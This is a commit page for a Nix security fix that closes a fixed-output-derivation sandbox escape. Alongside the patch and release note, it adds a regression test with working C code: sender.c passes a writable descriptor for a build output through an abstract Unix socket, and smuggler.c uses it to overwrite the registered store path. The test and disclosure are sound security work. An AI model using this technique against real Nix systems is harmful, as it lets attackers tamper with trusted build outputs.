Skip to content

Commit

Permalink
Merge pull request from GHSA-2ffj-w4mj-pg37
Browse files Browse the repository at this point in the history
Sandbox escape 2.3
  • Loading branch information
edolstra authored Mar 7, 2024
2 parents ec26251 + 8604f6d commit b4d5aac
Show file tree
Hide file tree
Showing 6 changed files with 252 additions and 2 deletions.
14 changes: 14 additions & 0 deletions doc/manual/rl-next/fod-sandbox-escape.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
---
synopsis: Fix a FOD sandbox escape
issues:
prs:
---

Cooperating Nix derivations could send file descriptors to files in the Nix
store to each other via Unix domain sockets in the abstract namespace. This
allowed one derivation to modify the output of the other derivation, after Nix
has registered the path as "valid" and immutable in the Nix database.
In particular, this allowed the output of fixed-output derivations to be
modified from their expected content.

This isn't the case any more.
5 changes: 5 additions & 0 deletions release.nix
Original file line number Diff line number Diff line change
Expand Up @@ -235,6 +235,11 @@ let
nix = build.x86_64-linux; system = "x86_64-linux";
});

tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
inherit nixpkgs;
nix = build.x86_64-linux; system = "x86_64-linux";
});

tests.setuid = pkgs.lib.genAttrs
["i686-linux" "x86_64-linux"]
(system:
Expand Down
11 changes: 9 additions & 2 deletions src/libstore/build.cc
Original file line number Diff line number Diff line change
Expand Up @@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
#endif

/* Apply hash rewriting if necessary. */
/* Apply hash rewriting if necessary.
*
* For FODs, we always do the dump-and-restore dance regardless to make
* sure that there's no stale file descriptor pointing to the output
* of the path.
* */
bool rewritten = false;
if (!outputRewrites.empty()) {
if (fixedOutput || !outputRewrites.empty()) {
if (!outputRewrites.empty()) {
printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
}

/* Canonicalise first. This ensures that the path we're
rewriting doesn't contain a hard link to /etc/shadow or
Expand Down
93 changes: 93 additions & 0 deletions tests/nixos/ca-fd-leak/default.nix
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.

{ nixpkgs, system, nix }:

with import (nixpkgs + "/nixos/lib/testing-python.nix") {
inherit system;
};

let
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';

# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);

# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
makeTest {
name = "ca-fd-leak";

nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
nix.binaryCaches = [ ];
nix.package = nix;
};

testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';

}
65 changes: 65 additions & 0 deletions tests/nixos/ca-fd-leak/sender.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>

int main(int argc, char **argv) {

assert(argc == 2);

int sock = socket(AF_UNIX, SOCK_STREAM, 0);

// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);

// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}

// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;

// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

msg.msg_controllen = CMSG_SPACE(sizeof(int));

// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;

// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;

// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
66 changes: 66 additions & 0 deletions tests/nixos/ca-fd-leak/smuggler.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>

int main(int argc, char **argv) {

assert(argc == 2);

int sock = socket(AF_UNIX, SOCK_STREAM, 0);

// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");

res = listen(sock, 1);
if (res < 0) perror("listen");

int smuggling_fd = -1;

// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");

struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;

// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);

struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {

// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}

hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);

// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}

0 comments on commit b4d5aac

Please sign in to comment.